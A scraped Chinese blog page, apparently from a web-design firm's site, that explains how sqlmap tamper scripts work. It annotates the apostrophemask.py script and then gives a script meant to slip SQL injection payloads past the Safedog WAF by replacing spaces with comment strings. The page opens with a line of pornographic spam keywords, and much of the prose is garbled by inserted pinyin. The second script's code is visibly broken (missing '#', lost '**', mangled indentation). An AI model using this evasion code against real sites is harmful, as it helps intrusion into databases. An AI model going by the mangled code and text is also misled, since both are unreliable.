真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

sqlmaptamper編寫規(guī)則是什么

本篇內(nèi)容介紹了“sqlmap tamper編寫規(guī)則是什么”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

成都創(chuàng)新互聯(lián)公司專業(yè)為企業(yè)提供沙灣網(wǎng)站建設(shè)、沙灣做網(wǎng)站、沙灣網(wǎng)站設(shè)計(jì)、沙灣網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、沙灣企業(yè)網(wǎng)站模板建站服務(wù),十載沙灣做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。

Sqlmap 簡(jiǎn)介

sqlmap是一個(gè)開源的滲透測(cè)試工具,可以用來(lái)自動(dòng)化的檢測(cè),利用SQL注入漏洞,獲取數(shù)據(jù)庫(kù)服務(wù)器的權(quán)限。它具有功能強(qiáng)大的檢測(cè)引擎,針對(duì)各種不同類型數(shù)據(jù)庫(kù)的滲透測(cè)試的功能選項(xiàng),包括獲取數(shù)據(jù)庫(kù)中存儲(chǔ)的數(shù)據(jù),訪問(wèn)操作系統(tǒng)文件甚至可以通過(guò)外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令。本文重點(diǎn)研究sqlmap的軟件具體的目錄結(jié)構(gòu),后續(xù)的文章也會(huì)從源碼編寫中,闡述sqlmap的種種編碼結(jié)果。本文從結(jié)構(gòu)中,可以看到sqlmap中的軟件工程之美,同時(shí)從嚴(yán)謹(jǐn)?shù)能浖Y(jié)構(gòu)目錄分類和構(gòu)造中,看到sqlmap中的軟件開發(fā)過(guò)程中的龐大但簡(jiǎn)潔的結(jié)構(gòu)之美。

tamper腳本

當(dāng)我們下載了【sqlmap】的安裝包,解壓后到文件夾【sqlmap】,在以下路徑,我們可以找到文件夾【tamper】,該文件夾有很多個(gè)腳本分別對(duì)WAF進(jìn)行檢測(cè)。例如360,綠盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可見(jiàn)老外對(duì)國(guó)內(nèi)的WAF也是有了解的,可見(jiàn)他們也會(huì)悄悄對(duì)國(guó)內(nèi)的WAF進(jìn)行繞過(guò)。

分析tamper腳本

由于【tamper】文件夾中有眾多的tamper腳本,限于篇幅,無(wú)法全部分析,故選取其中一個(gè)比較常用的腳本【apostrophemask.py】作為樣本分析 —— 內(nèi)容是將 ' 替換成%EF%BC%87

這個(gè)里面會(huì)的參考內(nèi)容其實(shí)就是url編碼表,打開看一下就可以知道內(nèi)容了

sqlmap tamper編寫規(guī)則是什么

#!/usr/bin/env python
#此處用法為:程序到env設(shè)置里查找python的安裝路徑,再調(diào)用對(duì)應(yīng)路徑下的解釋器程序完成操作。這是非常好的做法
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
#文檔說(shuō)明三個(gè)雙引號(hào)進(jìn)行多行注釋,這就沒(méi)有說(shuō)的意義了
from lib.core.enums import PRIORITY
#導(dǎo)入sqlmap中l(wèi)ib\core\enums中的PRIORITY函數(shù), LOWEST = -100,LOWER = -50,. 詳細(xì)見(jiàn)enums.py
__priority__ = PRIORITY.LOWEST
#定義優(yōu)先級(jí),此處為級(jí)別為【lowest】
def dependencies():
    #定義dependencies():此處是為了和整體腳本的結(jié)構(gòu)保持一致。
    pass
    #pass 不做任何事情,一般用做占位語(yǔ)句。為了保持程序結(jié)構(gòu)的完整性。
def tamper(payload, **kwargs):
    #定義tamper腳本,payload, kwargs 為定義的參數(shù),其中**kwargs為字典存儲(chǔ),類似于 {'a': 1, 'c': 3, 'b': 2} 
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
#此處為tamper說(shuō)明 ,以便使用該腳本。在本例中,該腳本可以(e.g. ' -> %EF%BC%87)
    References:  參考內(nèi)容是什么,從以下幾個(gè)鏈接,其實(shí)就是將單引號(hào) url 編碼
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * http://lukasz.pilorz.net/testy/unicode_conversion/
        * http://sla.ckers.org/forum/read.php?13,11562,11850
        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'舉例,就不詳細(xì)說(shuō)明了
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload
#替換 ' 為%EF%BC%87 最后返回payload.

編寫一個(gè)tamper腳本

在這里,我們嘗試寫一個(gè)(從網(wǎng)上抄一個(gè))繞過(guò)安全狗的tamper腳本,畢竟安全狗在服務(wù)器安全領(lǐng)域還是挺不錯(cuò)的,竟然還是免費(fèi)的,在linux和windows上有各種版本,并且一直維護(hù)更新中。

!/usr/bin/env python                                             #此處代碼可以直接從其他tamper復(fù)制粘貼過(guò)來(lái)

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)       
See the file 'doc/COPYING' for copying permission
v0.0.1 
2016.08.21                  腳本說(shuō)明
"""

from lib.core.enums import PRIORITY    #導(dǎo)入sqlmap中l(wèi)ib\core\enums中的PRIORITY函數(shù), LOWEST = -100,LOWER = -50,. 詳細(xì)見(jiàn)enums.py
priority = PRIORITY.LOW               #定義優(yōu)先級(jí),此處為級(jí)別為【一般】
def dependencies():                              
    #定義dependencies():此處是為了和整體腳本的結(jié)構(gòu)保持一致。
    pass                            
    #pass 不做任何事情,一般用做占位語(yǔ)句。為了保持程序結(jié)構(gòu)的完整性
def tamper(payload, kwargs):      
    #定義tamper腳本,kwargs 為字典存儲(chǔ),類似于 {'a': 1, 'c': 3} 
"""
To bypass safedog       
Replaces space character (' ') with plus ('/*|%20--%20|*/')          
#把空格替換為(/*|%20--%20|*/)繞過(guò),此處為繞過(guò)規(guī)則>>> tamper('SELECT id FROM users')         #此處為替換后的具體執(zhí)行形式'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload                                                                     # 將payload賦值給  retVal ,以便中間轉(zhuǎn)換。
if payload:                                                                                 retVal = "" 
    quote, doublequote, firstspace = False, False, False             
    #定義這些符號(hào)參數(shù),防止對(duì)后面的替換造成影響
    for i in xrange(len(payload)):                                               
        # 在攻擊載荷中逐個(gè)進(jìn)行判斷操作。
        if not firstspace:                                                                     # 如果攻擊載荷的第一個(gè)字段是空格,則進(jìn)行替換
            if payload[i].isspace():
                firstspace = True
                retVal += "/*|%20--%20|*/"                                      
                #把空格( ) 替換成(/*|%20--%20|*/)
                continue                                                                               #繼續(xù)進(jìn)行判斷操作
        elif payload[i] == '\'':                                                                #如果攻擊載荷中有(\ ),則進(jìn)行編碼轉(zhuǎn)換
            quote = not quote
        elif payload[i] == '"':                                                                   #如果攻擊載荷中有(“ ),則進(jìn)行編碼轉(zhuǎn)換
            doublequote = not doublequote
        elif payload[i] == " " and not doublequote and not quote:         
            #如果攻擊載荷中有空格(),并且它既不是doublequote 或 quote  
            retVal += "/*|%20--%20|*/"                                                             #則進(jìn)行編碼轉(zhuǎn)換
            continue                                                                               #繼續(xù)執(zhí)行
        retVal += payload[i]                                                                    #得到重新組合的payload
return retVal

“sqlmap tamper編寫規(guī)則是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!


文章題目:sqlmaptamper編寫規(guī)則是什么
文章URL:http://weahome.cn/article/jhecod.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部